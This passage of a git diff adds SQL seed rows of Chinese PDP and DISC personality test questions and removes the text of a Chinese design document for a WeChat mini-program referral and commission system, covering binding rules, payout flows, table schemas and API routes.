UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您在团队中的角色是:', '[{\"value\":\"Tiger\",\"text\":\"领导者,推动进展\"},{\"value\":\"Peacock\",\"text\":\"激励者,凝聚人心\"},{\"value\":\"Koala\",\"text\":\"协调者,维护和谐\"},{\"value\":\"Owl\",\"text\":\"专家,提供专业意见\"},{\"value\":\"Chameleon\",\"text\":\"多面手,灵活补位\"}]', NULL, NULL, 15, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您的工作节奏是:', '[{\"value\":\"Tiger\",\"text\":\"快节奏,追求效率\"},{\"value\":\"Peacock\",\"text\":\"充满活力,变化多端\"},{\"value\":\"Koala\",\"text\":\"稳定有序,按部就班\"},{\"value\":\"Owl\",\"text\":\"有条理,精确执行\"},{\"value\":\"Chameleon\",\"text\":\"根据需要调整节奏\"}]', NULL, NULL, 16, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您最大的优势是:', '[{\"value\":\"Tiger\",\"text\":\"决断力和执行力\"},{\"value\":\"Peacock\",\"text\":\"影响力和感染力\"},{\"value\":\"Koala\",\"text\":\"耐心和可靠性\"},{\"value\":\"Owl\",\"text\":\"分析力和准确性\"},{\"value\":\"Chameleon\",\"text\":\"适应力和灵活性\"}]', NULL, NULL, 17, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您的人际关系特点是:', '[{\"value\":\"Tiger\",\"text\":\"目标导向,建立有价值的关系\"},{\"value\":\"Peacock\",\"text\":\"广泛社交,朋友众多\"},{\"value\":\"Koala\",\"text\":\"深度交往,关系稳定\"},{\"value\":\"Owl\",\"text\":\"选择性交往,志同道合\"},{\"value\":\"Chameleon\",\"text\":\"根据情况建立不同类型关系\"}]', NULL, NULL, 18, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '面对批评,您的反应是:', '[{\"value\":\"Tiger\",\"text\":\"可能会反驳或辩护\"},{\"value\":\"Peacock\",\"text\":\"可能会感到受伤\"},{\"value\":\"Koala\",\"text\":\"接受并思考改进\"},{\"value\":\"Owl\",\"text\":\"分析批评的合理性\"},{\"value\":\"Chameleon\",\"text\":\"根据情况调整反应\"}]', NULL, NULL, 19, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您的理想工作环境是:', '[{\"value\":\"Tiger\",\"text\":\"充满挑战,自主权高\"},{\"value\":\"Peacock\",\"text\":\"互动频繁,氛围活跃\"},{\"value\":\"Koala\",\"text\":\"稳定和谐,团队协作\"},{\"value\":\"Owl\",\"text\":\"有序规范,专注质量\"},{\"value\":\"Chameleon\",\"text\":\"灵活多变,兼顾平衡\"}]', NULL, NULL, 20, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); + +-- disc 题库数据 +-- enterpriseId: NULL (超管题库) + +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '在团队中,您更倾向于:', '[{\"value\":\"D\",\"text\":\"主导决策,带领团队前进\"},{\"value\":\"I\",\"text\":\"活跃气氛,激励团队成员\"},{\"value\":\"S\",\"text\":\"支持他人,确保团队和谐\"},{\"value\":\"C\",\"text\":\"分析数据,确保决策质量\"}]', NULL, NULL, 1, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '面对挑战时,您的第一反应是:', '[{\"value\":\"D\",\"text\":\"立即行动,解决问题\"},{\"value\":\"I\",\"text\":\"寻找支持,团队协作\"},{\"value\":\"S\",\"text\":\"冷静思考,稳步推进\"},{\"value\":\"C\",\"text\":\"收集信息,谨慎分析\"}]', NULL, NULL, 2, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '您在工作中最看重的是:', '[{\"value\":\"D\",\"text\":\"成果和效率\"},{\"value\":\"I\",\"text\":\"认可和赞赏\"},{\"value\":\"S\",\"text\":\"稳定和安全\"},{\"value\":\"C\",\"text\":\"准确和质量\"}]', NULL, NULL, 3, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '与他人沟通时,您通常:', '[{\"value\":\"D\",\"text\":\"直接了当,注重结果\"},{\"value\":\"I\",\"text\":\"热情友好,善于表达\"},{\"value\":\"S\",\"text\":\"耐心倾听,体贴理解\"},{\"value\":\"C\",\"text\":\"逻辑清晰,注重细节\"}]', NULL, NULL, 4, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '压力之下,您会:', '[{\"value\":\"D\",\"text\":\"变得更加强势和控制\"},{\"value\":\"I\",\"text\":\"寻求他人支持和鼓励\"},{\"value\":\"S\",\"text\":\"保持冷静,按部就班\"},{\"value\":\"C\",\"text\":\"更加谨慎,反复确认\"}]', NULL, NULL, 5, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '您认为自己的优势是:', '[{\"value\":\"D\",\"text\":\"决断力强,行动迅速\"},{\"value\":\"I\",\"text\":\"人际关系好,善于激励\"},{\"value\":\"S\",\"text\":\"可靠稳定,团队协作\"},{\"value\":\"C\",\"text\":\"分析能力强,注重细节\"}]', NULL, NULL, 6, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '在会议中,您通常扮演的角色是:', '[{\"value\":\"D\",\"text\":\"主导者,推动决策\"},{\"value\":\"I\",\"text\":\"激励者,调动气氛\"},{\"value\":\"S\",\"text\":\"调和者,平衡各方\"},{\"value\":\"C\",\"text\":\"分析者,提供数据\"}]', NULL, NULL, 7, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '您最不喜欢的工作环境是:', '[{\"value\":\"D\",\"text\":\"缺乏挑战,进展缓慢\"},{\"value\":\"I\",\"text\":\"被孤立,缺乏互动\"},{\"value\":\"S\",\"text\":\"变化太快,不稳定\"},{\"value\":\"C\",\"text\":\"混乱无序,缺乏标准\"}]', NULL, NULL, 8, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '做决定时,您更依赖:', '[{\"value\":\"D\",\"text\":\"直觉和经验\"},{\"value\":\"I\",\"text\":\"他人的意见\"},{\"value\":\"S\",\"text\":\"过去的成功经验\"},{\"value\":\"C\",\"text\":\"数据和事实\"}]', NULL, NULL, 9, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '您的工作风格是:', '[{\"value\":\"D\",\"text\":\"快速高效,注重结果\"},{\"value\":\"I\",\"text\":\"灵活多变,充满创意\"},{\"value\":\"S\",\"text\":\"稳定持续,一步一步\"},{\"value\":\"C\",\"text\":\"严谨细致,追求完美\"}]', NULL, NULL, 10, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '遇到冲突时,您会:', '[{\"value\":\"D\",\"text\":\"直面冲突,解决问题\"},{\"value\":\"I\",\"text\":\"调解双方,化解矛盾\"},{\"value\":\"S\",\"text\":\"避免冲突,保持和谐\"},{\"value\":\"C\",\"text\":\"分析原因,找出根本\"}]', NULL, NULL, 11, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '您期望的领导风格是:', '[{\"value\":\"D\",\"text\":\"给予挑战和自主权\"},{\"value\":\"I\",\"text\":\"认可和表扬\"},{\"value\":\"S\",\"text\":\"稳定和支持\"},{\"value\":\"C\",\"text\":\"明确的指导和标准\"}]', NULL, NULL, 12, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '处理任务时,您更注重:', '[{\"value\":\"D\",\"text\":\"速度和效率\"},{\"value\":\"I\",\"text\":\"创意和新颖\"},{\"value\":\"S\",\"text\":\"过程和协作\"},{\"value\":\"C\",\"text\":\"质量和准确\"}]', NULL, NULL, 13, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '您的社交方式是:', '[{\"value\":\"D\",\"text\":\"目的明确,建立有价值的关系\"},{\"value\":\"I\",\"text\":\"广泛社交,认识各种人\"},{\"value\":\"S\",\"text\":\"深度交往,维护长期友谊\"},{\"value\":\"C\",\"text\":\"选择性社交,志同道合\"}]', NULL, NULL, 14, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '您理想的工作节奏是:', '[{\"value\":\"D\",\"text\":\"快节奏,充满挑战\"},{\"value\":\"I\",\"text\":\"灵活多变,充满活力\"},{\"value\":\"S\",\"text\":\"稳定有序,可预测的\"},{\"value\":\"C\",\"text\":\"有条理,按计划进行\"}]', NULL, NULL, 15, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '面对变化,您的态度是:', '[{\"value\":\"D\",\"text\":\"主动拥抱,寻找机会\"},{\"value\":\"I\",\"text\":\"积极适应,乐观面对\"},{\"value\":\"S\",\"text\":\"需要时间,逐步适应\"},{\"value\":\"C\",\"text\":\"谨慎评估,确保万无一失\"}]', NULL, NULL, 16, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '您的时间管理风格是:', '[{\"value\":\"D\",\"text\":\"高效利用,最大化产出\"},{\"value\":\"I\",\"text\":\"灵活安排,留有余地\"},{\"value\":\"S\",\"text\":\"按部就班,稳定执行\"},{\"value\":\"C\",\"text\":\"精确规划,严格执行\"}]', NULL, NULL, 17, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '激励您的是:', '[{\"value\":\"D\",\"text\":\"成就和控制\"},{\"value\":\"I\",\"text\":\"认可和社交\"},{\"value\":\"S\",\"text\":\"稳定和归属\"},{\"value\":\"C\",\"text\":\"正确和标准\"}]', NULL, NULL, 18, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '您处理细节的方式是:', '[{\"value\":\"D\",\"text\":\"关注大局,委托他人\"},{\"value\":\"I\",\"text\":\"可能忽略,更关注整体\"},{\"value\":\"S\",\"text\":\"认真对待,确保准确\"},{\"value\":\"C\",\"text\":\"极度重视,追求完美\"}]', NULL, NULL, 19, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '您对规则的态度是:', '[{\"value\":\"D\",\"text\":\"规则是用来打破的\"},{\"value\":\"I\",\"text\":\"灵活运用,不拘泥于规则\"},{\"value\":\"S\",\"text\":\"遵守规则,维护秩序\"},{\"value\":\"C\",\"text\":\"严格遵守,确保合规\"}]', NULL, NULL, 20, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); + +SET FOREIGN_KEY_CHECKS = 1; diff --git a/api/docs/distribution-design.md b/api/docs/distribution-design.md index 668f367..32413fd 100644 --- a/api/docs/distribution-design.md +++ b/api/docs/distribution-design.md @@ -1,364 +1,364 @@ -# 分销系统设计文档 - -> 版本:v1.4 -> 日期:2026-03-06 -> 作者:AI 设计稿(待确认) - ---- - -## 一、功能概述 - -本系统分销分为两个维度: - -| 维度 | 配置来源 | 佣金来源 | 管理入口 | -|------|---------|---------|---------| -| **个人版分销** | 超管后台配置 | 平台微信支付订单收款 | 超管端 | -| **企业版分销** | 企业管理员后台配置 | 企业账户余额 | 管理端(admin) | - ---- - -## 二、核心业务规则 - -### 2.1 绑定规则 - -| 规则 | 说明 | -|------|------| -| 绑定方式 | 用户 A 分享专属链接/海报,用户 B 通过链接进入小程序,系统自动建立 A → B 的绑定关系 | -| 有效期 | **30 天**,从绑定时刻起计算,到期自动解除 | -| **续期机制** | B 在绑定有效期内**再次点击 A 的链接**(同一推荐人),有效期从点击时刻**重置为 30 天**;举例:昨天 A→B 绑定剩余 29 天,今天 B 再次点击 A 的链接,有效期重新变为 30 天 | -| 抢绑机制 | 支持覆盖绑定:A 已绑定了 B,C 再分享给 B 后,B 的推荐人变更为 C(新绑定覆盖旧绑定,重新计算 30 天) | -| **禁止互相绑定** | 仅当 A→B 在有效期内时:B 再分享给 A,A 扫码不能绑定 B(静默忽略);若 A→B 已过期,则 A 扫码可以绑定 B | -| 绑定时机 | 用户点击推广链接进入小程序 `onLoad` 时,识别 `uid`(推荐人ID)写入/更新绑定记录 | -| 例外情况 | 用户已付款订单对应的绑定关系不会因抢绑而撤销(付款时的绑定快照保留) | - -### 2.2 佣金规则(付款触发) - -| 规则 | 说明 | -|------|------| -| 触发时机 | 被邀请用户**完成付款**时触发佣金计算 | -| 佣金比例 | 优先使用与订单 scope 匹配的配置;回退匹配时使用个人版(超管)配置 | -| 计算基数 | 订单实付金额(分)| -| 佣金归属 | 按付款时刻的绑定关系确认推荐人,快照写入佣金记录,后续抢绑不影响已有佣金 | -| **跨 scope 回退** | 若订单 scope 下无匹配绑定(如企业版订单但推荐人仅有个人版绑定),则回退查找该用户任意有效的 `personal` 绑定;命中后以**个人版佣金配置**结算,但只要命中企业上下文,佣金资金仍优先从该企业余额扣除 | - -### 2.3 测试完成佣金(免付款触发) - -| 规则 | 说明 | -|------|------| -| 触发时机 | 用户**完成指定类型测试并提交结果**时触发,无需付款 | -| 适用类型 | 人脸分析(face)、MBTI、DISC、PDP,各自独立开关 | -| 佣金金额 | 每种类型单独配置固定金额(元),非比例 | -| 佣金来源 | 无企业上下文时由平台发放;若命中企业上下文,则优先扣减企业余额,余额不足时冻结,待企业补余额后解冻 | -| 防重机制 | 同一 `testResultId` 只结算一次,重复提交不产生多条佣金 | -| 配置入口 | 超管后台 → 分销设置 → 测试完成佣金 | -| 全局开关 | 超管可一键关闭整个「测试完成佣金」功能 | -| 前提条件 | 用户须有有效的 `personal` scope 绑定关系(invitee → inviter),企业版绑定不触发 | - -### 2.4 企业版特有规则 - -| 规则 | 说明 | -|------|------| -| 佣金资金来源 | 只要佣金记录命中**企业上下文**,都扣除企业账户余额(`enterprises.balance`)| -| 余额充足 | 触发佣金时立即从企业余额扣款,佣金状态置为 `paid`,推荐人可提现 | -| 余额不足 | 佣金状态置为 `frozen`(冻结),企业补余额后系统扫描待解冻记录,余额充足则自动解冻并扣款 | -| 解冻顺序 | 按佣金记录的 `createdAt` 升序(先冻先解)| - ---- - -## 三、数据库设计 - -### 3.1 新增表:`distribution_bindings`(绑定记录) - -```sql -CREATE TABLE `mbti_distribution_bindings` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '绑定ID', - `inviterId` int(11) NOT NULL COMMENT '当前推荐人ID (wechat_users.id)', - `inviteeId` int(11) NOT NULL COMMENT '被推荐人ID (wechat_users.id)', - `scope` varchar(20) NOT NULL DEFAULT 'personal' COMMENT '分销维度: personal|enterprise', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业版时非空)', - `expireAt` int(11) NOT NULL COMMENT '绑定过期时间戳(绑定时间+30天)', - `status` varchar(20) NOT NULL DEFAULT 'active' COMMENT '状态: active/expired/overridden(被抢绑覆盖)', - `prevInviterId` int(11) NULL DEFAULT NULL COMMENT '被抢绑前的推荐人ID(抢绑时记录上一任推荐人)', - `overriddenAt` int(11) NULL DEFAULT NULL COMMENT '被覆盖时间(抢绑时记录)', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '绑定创建时间', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间', - PRIMARY KEY (`id`), - UNIQUE KEY `uk_invitee_scope_ent` (`inviteeId`, `scope`, `enterpriseId`), - INDEX `idx_inviterId` (`inviterId`), - INDEX `idx_inviteeId` (`inviteeId`), - INDEX `idx_prevInviterId` (`prevInviterId`), - INDEX `idx_expireAt` (`expireAt`), - INDEX `idx_status` (`status`) -) ENGINE=InnoDB COMMENT='分销绑定记录表'; -``` - -> **说明**: -> - `(inviteeId, scope, enterpriseId)` 联合唯一索引保证同一被推荐人在同一维度下只有一条 active 记录。 -> - 抢绑时:将当前 `inviterId` 写入 `prevInviterId`,再将 `inviterId` 更新为新推荐人,同时记录 `overriddenAt`,保留完整的历史推荐链路,便于管理端溯源。 -> - 续期时(同一推荐人再次点击):仅更新 `expireAt` 和 `updatedAt`,`prevInviterId` 不变。 - ---- - -### 3.2 改造表:`distribution_commission_records`(佣金记录) - -在现有 `mbti_commission_records` 基础上新增字段: - -```sql -ALTER TABLE `mbti_commission_records` - ADD COLUMN `scope` varchar(20) NOT NULL DEFAULT 'personal' COMMENT '分销维度: personal|enterprise', - ADD COLUMN `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业版佣金)', - ADD COLUMN `inviterId` int(11) NOT NULL COMMENT '推荐人 wechat_users.id', - ADD COLUMN `inviteeId` int(11) NOT NULL COMMENT '付款用户 wechat_users.id', - ADD COLUMN `bindingId` int(11) NOT NULL COMMENT '触发此佣金的绑定记录ID', - ADD COLUMN `orderAmount` int(11) NOT NULL DEFAULT 0 COMMENT '订单金额(分)', - ADD COLUMN `commissionFen` int(11) NOT NULL DEFAULT 0 COMMENT '佣金金额(分)', - ADD COLUMN `frozenAt` int(11) NULL COMMENT '冻结时间(企业余额不足时)', - ADD COLUMN `unfrozenAt` int(11) NULL COMMENT '解冻时间', - MODIFY COLUMN `status` varchar(20) DEFAULT 'pending' COMMENT 'pending/paid/frozen/cancelled', - ADD INDEX `idx_scope` (`scope`), - ADD INDEX `idx_enterpriseId` (`enterpriseId`), - ADD INDEX `idx_inviterId` (`inviterId`), - ADD INDEX `idx_status` (`status`); -``` - -**佣金状态流转**: - -``` -pending → paid (个人版:订单付款成功后自动结算) -pending → paid (企业版:企业余额充足,扣款成功) -pending → frozen (企业版:企业余额不足) -frozen → paid (企业充值后,系统解冻扫描) -pending/frozen → cancelled (订单退款时撤销) -``` - ---- - -### 3.3 新增:推荐人钱包余额字段(`wechat_users`) - -```sql -ALTER TABLE `mbti_wechat_users` - ADD COLUMN `walletBalance` int(11) NOT NULL DEFAULT 0 COMMENT '钱包余额(分)', - ADD COLUMN `walletTotalEarned` int(11) NOT NULL DEFAULT 0 COMMENT '历史累计佣金(分)', - ADD COLUMN `walletPending` int(11) NOT NULL DEFAULT 0 COMMENT '待入账佣金(分)'; -``` - ---- - -### 3.4 新增表:`distribution_withdrawals`(提现记录) - -```sql -CREATE TABLE `mbti_distribution_withdrawals` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, - `userId` int(11) NOT NULL COMMENT '推荐人 wechat_users.id', - `amountFen` int(11) NOT NULL COMMENT '申请提现金额(分)', - `realNameInfo` varchar(255) NULL COMMENT '收款实名信息(JSON: name+idcard/wechat)', - `status` varchar(20) NOT NULL DEFAULT 'pending' COMMENT 'pending/approved/rejected/transferred', - `auditNote` varchar(500) NULL COMMENT '审核备注', - `auditAt` int(11) NULL COMMENT '审核时间', - `transferAt` int(11) NULL COMMENT '打款时间', - `createdAt` int(11) NULL, - `updatedAt` int(11) NULL, - PRIMARY KEY (`id`), - INDEX `idx_userId` (`userId`), - INDEX `idx_status` (`status`) -) ENGINE=InnoDB COMMENT='分销提现记录表'; -``` - ---- - -## 四、核心流程 - -### 4.1 绑定流程 - -``` -用户点击分享链接进入小程序 - ↓ -onLoad(options) 识别 uid=推荐人ID, eid=企业ID(可选) - ↓ -调用 POST /api/distribution/bind { inviterId: uid, scope, enterpriseId } - ↓ -【前置校验】 - ├── inviterId == 当前登录用户自身 → 忽略,静默返回(不能自绑) - ├── 企业版(scope=enterprise): - │ 校验推荐人 wechat_users.enterpriseId === enterpriseId - │ 不符合(推荐人非该企业成员)→ 忽略,静默返回 - ├── 禁止互相绑定(仅有效期内):存在未过期的 A→B(inviterId=当前用户, inviteeId=本次推荐人, 同 scope, status=active, expireAt>now) - │ → 忽略,静默返回;若 A→B 已过期则不拦截,允许建立 B→A - └── 校验通过 → 继续 - ↓ -系统查询 distribution_bindings 中该 inviteeId 是否有 active 且未过期的记录 - │ - ├── 无记录(首次绑定): - │ 新建绑定,status=active,expireAt=now+30天,prevInviterId=NULL - │ - ├── 有记录 且 inviterId 相同(同一推荐人再次点击 → 续期): - │ 更新 expireAt = now+30天(重置有效期) - │ updatedAt = now - │ ⚠️ prevInviterId 不变,不新建记录 - │ - └── 有记录 且 inviterId 不同(抢绑): - 记录 prevInviterId = 旧 inviterId(保留上一任推荐人) - 更新 inviterId = 新推荐人,expireAt=now+30天,overriddenAt=now - ⚠️ 历史绑定快照保留在同一行,不新建记录 - ↓ -返回绑定成功(含新的 expireAt 供前端展示倒计时) -``` - -### 4.2 佣金结算流程(付款成功后触发) - -``` -订单支付成功回调 (Payment/notify) - ↓ -确定订单 scope:订单有 enterpriseId → enterprise,否则 → personal - ↓ -【第一步:精确匹配】 -查询付款用户 (inviteeId) 与订单 scope + enterpriseId 完全匹配的 active 未过期绑定 - ├── 命中 → 使用该绑定,进入佣金计算(scope 保持订单 scope) - └── 未命中 → 进入【第二步:回退匹配】 - ↓ -【第二步:回退匹配(跨 scope)】 -查询付款用户任意 active 未过期的 scope='personal' 绑定 - ├── 命中 → 使用该绑定,强制 scope='personal'(以个人版配置+平台资金结算) - └── 未命中 → 跳过,无佣金产生 - ↓ -读取对应 scope 佣金比例配置,计算 commissionFen = orderAmount * rate - ↓ -写入 commission_records(记录实际使用的 scope 与 enterpriseId) - ↓ -if scope == 'personal': - 直接结算 → 推荐人 walletBalance += commissionFen - commission status → paid -if scope == 'enterprise': - 查询 enterprises.balance - ├── 余额 >= commissionFen: - │ enterprises.balance -= commissionFen - │ 推荐人 walletBalance += commissionFen - │ commission status → paid - └── 余额不足: - commission status → frozen,frozenAt=now -``` - -### 4.3 企业充值后解冻流程 - -``` -企业补余额成功(充值接口回调 / 超管上调余额) - ↓ -enterprises.balance += 充值金额 - ↓ -查询该企业所有 status=frozen 的 commission_records(按 createdAt ASC) - ↓ -循环: - if 当前 balance >= commissionFen: - balance -= commissionFen - commission status → paid,unfrozenAt=now - 推荐人 walletBalance += commissionFen - else: - break(余额耗尽,剩余记录保持冻结) - ↓ -更新 enterprises.balance -``` - ---- - -## 五、API 接口规划 - -### 5.1 小程序端(需登录) - -| 方法 | 路径 | 说明 | -|------|------|------| -| POST | `/api/distribution/bind` | 绑定推荐人(进入小程序时调用) | -| GET | `/api/distribution/stats` | 获取我的推广中心统计(余额、绑定数、佣金等) | -| GET | `/api/distribution/bindings` | 我邀请的用户列表(分页,支持 tab:绑定中/已付款/已过期) | -| GET | `/api/distribution/commissions` | 我的佣金记录(分页) | -| POST | `/api/distribution/withdraw` | 申请提现 | -| GET | `/api/distribution/withdrawals` | 我的提现记录 | - -### 5.2 管理端(admin/enterprise_admin) - -| 方法 | 路径 | 说明 | -|------|------|------| -| GET | `/api/v1/admin/distribution/overview` | 分销数据概览 | -| GET | `/api/v1/admin/distribution/bindings` | 所有绑定记录(管理员查看) | -| GET | `/api/v1/admin/distribution/commissions` | 所有佣金记录 | -| GET | `/api/v1/admin/distribution/withdrawals` | 提现申请列表 | -| POST | `/api/v1/admin/distribution/withdrawals/:id/approve` | 审核通过提现 | -| POST | `/api/v1/admin/distribution/withdrawals/:id/reject` | 拒绝提现 | -| GET | `/api/v1/admin/distribution/settings` | 获取分销配置 | -| PUT | `/api/v1/admin/distribution/settings` | 更新分销配置 | - -### 5.3 超管端(superadmin) - -| 方法 | 路径 | 说明 | -|------|------|------| -| GET | `/api/v1/superadmin/distribution/settings` | 获取个人版分销全局配置 | -| PUT | `/api/v1/superadmin/distribution/settings` | 更新个人版分销全局配置 | -| GET | `/api/v1/superadmin/distribution/overview` | 全平台分销数据 | - ---- - -## 六、分销配置结构 - -### 个人版(超管配置,存 system_config 表) - -```json -{ - "enabled": true, - "commissionRate": 90, - "bindingDays": 30, - "minWithdrawFen": 1000, - "withdrawFee": 0 -} -``` - -### 企业版(企业管理员配置,存 enterprise_distribution_config 表 或 system_config 带 enterpriseId) - -```json -{ - "enabled": true, - "commissionRate": 80, - "bindingDays": 30, - "minWithdrawFen": 1000 -} -``` - ---- - -## 七、已确认问题 - -| # | 问题 | 确认结论 | -|---|------|---------| -| 1 | 被抢绑的旧推荐人已产生的佣金是否撤销? | **已确认**:不撤销,已产生佣金归旧推荐人 | -| 2 | 企业版佣金冻结期间,推荐人的 `walletPending` 是否展示冻结金额? | **已确认**:展示 pending+frozen 合计 | -| 3 | 个人版提现是否需要人工审核,还是自动打款? | **已确认**:人工审核 | -| 4 | 企业版的被邀请用户(invitee)是否需要是该企业成员? | **已确认**:不限制,任何用户均可被企业推广链接绑定 | -| 5 | 推广分享链接的落地页是否区分个人版和企业版? | **已确认**:企业版链接携带 `eid`,个人版不带,系统根据是否携带 `eid` 自动判断 scope | -| 6 | 企业版分销的推荐人是否必须是该企业内部成员? | **已确认**:必须限制。绑定接口需校验推荐人的 `wechat_users.enterpriseId === 请求中的 enterpriseId`,非该企业成员的分享链接不产生绑定关系,静默跳过 | -| 7 | A 分享给 B,B 购买个人版或企业版,A 都能得佣金吗? | **已确认(v1.3)**:是。结算时先精确匹配订单 scope,未命中则回退查找 personal 绑定。无论 B 购买哪个版本,只要存在 A→B 的有效绑定(任意 scope),A 均可获得佣金。跨 scope 回退时使用个人版配置,佣金来源为平台 | -| 8 | 测试完成佣金适用于企业版测试吗? | **已确认(v1.4)**:不适用。测试完成佣金仅适用于 personal scope 绑定,企业版测试(`testScope=enterprise`)不触发此规则 | -| 9 | commission_records 需要哪些新字段支持测试完成佣金? | **已确认(v1.4)**:需新增 `testResultId INT NULL`(关联 test_results.id)和 `commissionSource VARCHAR(20) DEFAULT 'payment'`(payment \| test_completion)字段,并在 `testResultId` + `commissionSource` 上加唯一防重索引 | - ---- - -## 八、数据库迁移(v1.4) - -测试完成佣金需要对 `commission_records` 表新增两个字段,**上线前需执行**: - -```sql -ALTER TABLE `mbti_commission_records` - ADD COLUMN `testResultId` int(11) NULL DEFAULT NULL COMMENT '测试结果ID(测试完成佣金使用,关联 test_results.id)', - ADD COLUMN `commissionSource` varchar(20) NOT NULL DEFAULT 'payment' COMMENT '佣金来源: payment|test_completion', - ADD UNIQUE KEY `uk_test_commission` (`testResultId`, `commissionSource`); -``` - ---- - -## 九、现有代码与新功能的关系 - -| 现有内容 | 状态 | 处理方式 | -|---------|------|---------| -| `mbti_distribution_agents` 表 | 旧设计,基于 `users` 表 | 废弃,改为直接用 `wechat_users` | -| `mbti_commission_records` 表 | 部分字段可复用 | 按第三节 ALTER 改造 | -| `admin/Distribution.php` | 骨架存在,逻辑空 | 在新设计基础上重写 